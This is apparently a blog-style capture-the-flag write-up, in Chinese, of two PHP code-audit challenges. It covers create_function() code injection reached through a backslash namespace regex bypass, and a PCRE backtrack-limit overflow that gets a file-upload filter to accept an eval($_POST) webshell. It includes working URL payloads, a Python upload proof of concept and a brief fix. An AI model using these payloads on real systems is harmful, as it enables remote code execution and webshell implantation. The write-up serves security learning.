天天看點

p神 代碼審計知識星球二周年wp[1]

題目: https://code-breaking.com 參考文獻: https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html https://blog.csdn.net/while0/article/details/72276440

easy-function

源碼

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
           

解題思路

  • 在數字字母下劃線都被禁用的情況下調用函數,因為正則裡面用了

    ^$

    ,就有可能在開頭或結尾加入某個字元繞過正則且函數依舊能正常執行。最後發現

    \

    可以,不禁能繞過正則,還能使函數正常執行。
  • 正常執行的原因:

    php裡預設命名空間是

    \

    ,所有原生函數和類都在這個命名空間中。普通調用一個函數,如果直接寫函數名

    function_name()

    調用,調用的時候其實相當于寫了一個

    相對路徑

    ;而如果寫

    \function_name()

    這樣的調用函數,則其實是寫了一個

    絕對路徑

    。如果在其他namespace裡調用系統類,就必須寫絕對路徑這種方法。
  • 任意函數調用,且函數的第二個參數可控。可使用

    create_function()

    利用create_function()代碼注入
  • 一個簡單的栗子
<?php
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
           
  • payload:

    http://localhost/2.php?id=2;}phpinfo();/*

  • 執行函數
源代碼:
function fT($a) {
  echo "test".$a;
}
注入後代碼:
function fT($a) {
  echo "test";}
  phpinfo();/*;//此處為注入代碼。
}
           
  • 最終payload
周遊檔案夾下的所有檔案:
http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}var_dump(scandir(%27.././%27));/*
拿到flag:
http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/*
           

easy-pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 
           

判斷一下使用者輸入的内容

有沒有PHP代碼

,如果沒有,則寫入檔案。

先來分析下正則

正則引擎,又被細分為DFA(确定性有限狀态自動機)與NFA(非确定性有限狀态自動機)。他們比對輸入的過程分别是:

  • DFA: 從起始狀态開始,一個字元一個字元地讀取輸入串,并根據正則來一步步确定至下一個轉移狀态,直到比對不上或走完整個輸入
  • NFA:從起始狀态開始,一個字元一個字元地讀取輸入串,并與正規表達式進行比對,如果比對不上,則進行

    回溯

    ,嘗試其他狀态。
回溯的過程

直接看p神的分析就行,賊詳細就不多加叙述了

PHP的

pcre.backtrack_limit

限制利用

PHP為了防止正規表達式的拒絕服務攻擊(reDOS),給pcre設定了一個回溯次數上限

pcre.backtrack_limit

p神 代碼審計知識星球二周年wp[1]

回溯次數上限預設是

100萬

p神 代碼審計知識星球二周年wp[1]

當回溯次數超過了100萬,

preg_match()

傳回

false

,不是

1或0

。則繞過了正則。

  • 最終的解決方式:

    通過發送超長字元串的方式,使正則執行失敗,最後繞過目标對PHP語言的限制。

  • 大佬的poc:
import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
           

解決方案

如果用preg_match對字元串進行比對,一定要使用

===

全等号來判斷傳回值。